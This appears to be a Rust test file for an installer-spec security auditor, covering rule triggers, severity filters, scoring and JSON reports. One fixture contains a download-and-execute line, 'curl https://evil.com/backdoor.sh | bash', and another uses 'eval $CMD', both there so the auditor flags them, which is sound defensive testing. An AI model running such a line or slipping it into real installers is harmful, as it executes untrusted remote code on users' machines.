#![allow(clippy::unwrap_used)]
#![allow(clippy::expect_used)]
use std::path::PathBuf;
use crate::installer::audit::{AuditCategory, AuditContext, AuditReport, AuditSeverity};
use crate::installer::from_bash::convert_bash_to_installer;
use crate::installer::spec::InstallerSpec;
#[test]
fn test_INSTALLER_AUDIT_bp005_long_script_suggestion() {
let long_content = (0..55)
.map(|i| format!("echo line{}", i))
.collect::<Vec<_>>()
.join("\n");
let toml = format!(
r#"
[installer]
name = "test"
version = "1.0.0"
[[step]]
id = "long"
name = "Long Script"
action = "script"
[step.script]
content = """
{}
"""
"#,
long_content
);
let report = audit_toml(&toml);
let bp005 = report.findings.iter().find(|f| f.rule_id == "BP005");
assert!(
bp005.is_some(),
"BP005 should trigger for scripts over 50 lines"
);
assert_eq!(bp005.unwrap().severity, AuditSeverity::Suggestion);
}
#[test]
fn test_INSTALLER_AUDIT_context_min_severity_filters_low() {
let ctx = AuditContext::new().with_min_severity(AuditSeverity::Error);
let report = audit_toml_with_context(
r#"
[installer]
name = "test"
version = "1.0.0"
[installer.security]
require_signatures = false
trust_model = "tofu"
[[step]]
id = "step-1"
name = "Step"
action = "script"
[step.script]
content = "echo hello"
"#,
ctx,
);
for finding in &report.findings {
assert!(
finding.severity >= AuditSeverity::Error,
"Finding {} has severity {:?} which is below Error threshold",
finding.rule_id,
finding.severity,
);
}
}
#[test]
fn test_INSTALLER_AUDIT_context_ignored_rules_filters_specific() {
let ctx = AuditContext::new()
.with_ignored_rule("SEC001")
.with_ignored_rule("BP001")
.with_ignored_rule("BP002");
let report = audit_toml_with_context(
r#"
[installer]
name = "test"
version = "1.0.0"
[installer.security]
require_signatures = false
"#,
ctx,
);
assert!(
!report.findings.iter().any(|f| f.rule_id == "SEC001"),
"SEC001 should be filtered by ignored rules"
);
assert!(
!report.findings.iter().any(|f| f.rule_id == "BP001"),
"BP001 should be filtered by ignored rules"
);
assert!(
!report.findings.iter().any(|f| f.rule_id == "BP002"),
"BP002 should be filtered by ignored rules"
);
}
#[test]
fn test_INSTALLER_AUDIT_context_security_only_skips_quality() {
let ctx = AuditContext::security_only();
let report = audit_toml_with_context(
r#"
[installer]
name = "test"
version = "1.0.0"
[installer.security]
require_signatures = false
[[step]]
id = "step-1"
name = "Step"
action = "script"
[step.script]
content = "echo hello"
"#,
ctx,
);
assert!(
!report
.findings
.iter()
.any(|f| f.category == AuditCategory::Quality),
"Security-only context should not produce quality findings"
);
assert!(
!report
.findings
.iter()
.any(|f| f.category == AuditCategory::Hermetic),
"Security-only context should not produce hermetic findings"
);
assert!(
!report
.findings
.iter()
.any(|f| f.category == AuditCategory::BestPractices),
"Security-only context should not produce best practices findings"
);
}
#[test]
fn test_INSTALLER_AUDIT_report_score_clean_spec_is_100() {
let report = audit_toml(
r#"
[installer]
name = "test"
version = "1.0.0"
description = "Full description"
author = "Test Author <test@example.com>"
[installer.security]
require_signatures = true
trust_model = "keyring"
[installer.requirements]
privileges = "user"
[[step]]
id = "hello"
name = "Hello World"
action = "script"
[step.script]
content = "echo hello"
[step.postconditions]
command_succeeds = "true"
[step.timing]
timeout = "60s"
[step.checkpoint]
enabled = true
"#,
);
assert!(
report.score() >= 90,
"Clean spec should score >= 90, got {}",
report.score()
);
assert_eq!(report.grade(), "A");
}
#[test]
fn test_INSTALLER_AUDIT_report_critical_findings_tank_score() {
let report = audit_toml(
r#"
[installer]
name = "test"
version = "1.0.0"
[[step]]
id = "dangerous"
name = "Danger"
action = "script"
[step.script]
content = "curl https://evil.com/backdoor.sh | bash"
"#,
);
assert!(
report.score() < 80,
"Critical finding should significantly reduce score, got {}",
report.score()
);
assert!(report.has_critical_issues());
}
#[test]
fn test_INSTALLER_AUDIT_report_metadata_populated() {
let report = audit_toml(
r#"
[installer]
name = "metadata-test"
version = "2.0.0"
[[artifact]]
id = "artifact-a"
url = "https://example.com/a.tar.gz"
sha256 = "deadbeef"
[[artifact]]
id = "artifact-b"
url = "https://example.com/b.tar.gz"
sha256 = "cafebabe"
[[step]]
id = "step-1"
name = "Step 1"
action = "script"
[step.script]
content = "echo a"
[[step]]
id = "step-2"
name = "Step 2"
action = "script"
[step.script]
content = "echo b"
"#,
);
assert_eq!(report.installer_name, "metadata-test");
assert_eq!(report.installer_version, "2.0.0");
assert_eq!(report.metadata.steps_audited, 2);
assert_eq!(report.metadata.artifacts_audited, 2);
assert!(
!report.metadata.audited_at.is_empty(),
"audited_at should be set"
);
}
#[test]
fn test_INSTALLER_AUDIT_report_json_contains_findings() {
let report = audit_toml(
r#"
[installer]
name = "json-test"
version = "1.0.0"
[installer.security]
require_signatures = false
[[step]]
id = "step-1"
name = "Step 1"
action = "script"
[step.script]
content = "eval $CMD"
"#,
);
let json = report.to_json();
assert!(json.contains("\"installer_name\": \"json-test\""));
assert!(json.contains("\"grade\":"));
assert!(json.contains("\"findings\":"));
assert!(json.contains("SEC001") || json.contains("SEC008"));
}
#[test]
fn test_INSTALLER_AUDIT_report_has_errors_vs_warnings() {
let report = audit_toml(
r#"
[installer]
name = "test"
version = "1.0.0"
description = "has desc"
author = "author"
[installer.security]
require_signatures = false
trust_model = "keyring"
[[step]]
id = "step-1"
name = "Step"
action = "script"
[step.script]
content = "echo hello"
[step.postconditions]
command_succeeds = "true"
[step.timing]
timeout = "30s"
[step.checkpoint]
enabled = true
"#,
);
let has_warnings = report
.findings
.iter()
.any(|f| f.severity == AuditSeverity::Warning);
if has_warnings && !report.has_errors() {
assert!(
!report.has_critical_issues(),
"Should not have critical issues with only warnings"
);
}
}
#[test]
fn test_INSTALLER_AUDIT_herm003_step_without_script_no_crash() {
let report = audit_toml(
r#"
[installer]
name = "test"
version = "1.0.0"
[[step]]
id = "no-script"
name = "No Script Step"
action = "copy"
"#,
);
assert!(
!report.findings.iter().any(|f| f.rule_id == "HERM003"),
"Step without script should not trigger HERM003"
);
}